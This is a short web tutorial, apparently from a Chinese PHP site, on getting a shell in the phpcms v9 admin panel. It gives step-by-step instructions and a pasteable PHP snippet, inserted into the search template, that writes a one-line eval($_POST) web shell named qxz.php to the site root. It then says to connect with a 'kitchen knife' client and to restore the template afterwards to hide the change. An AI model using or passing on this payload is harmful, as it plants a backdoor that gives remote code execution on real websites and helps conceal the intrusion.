Home > CMS Tutorial > PHPCMS > body text

How to get shell in phpcms

藏色散人
Release: 2020-07-24 11:22:06
Original
3328 people have browsed it

How to get the shell in phpcms: first log in to the phpcms background management; then click "Interface" -> "Template Style", and click "Detailed List"; then click the "search" folder; finally modify " index.html" and click "Visualize".

How to get shell in phpcms

Remember the process of getting the shell in the phpcms v9 background once

After logging in to the background management, click on the interface, template style, Then click on the detailed list, as shown below:

Recommendation: "phpcms tutorial"

How to get shell in phpcms

Then click search for this folder, as follows Picture:

How to get shell in phpcms

Then click to modify the index.html file

Then copy the following code and submit it.

<?
$fp = @fopen(“qxz.php”, ‘a’);
@fwrite($fp, ‘<‘.’?php’.”\r\n\r\n”.’eval($_POST[hacker])’.”\r\n\r\n?”.”>\r\n”);
@fclose($fp);
?>
Copy after login

Tips: Back up the original code before modifying it, and change it back after getting the shell.

How to get shell in phpcms

After submitting, click Visualize

How to get shell in phpcms

In this way, your one-sentence Trojan client will be generated in the root directory of the website Terminal qxz.php

Pick up the kitchen knife link http://www.xxx.com/qxz.php

How to get shell in phpcms

The above is the detailed content of How to get shell in phpcms. For more information, please follow other related articles on the PHP Chinese website!

Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template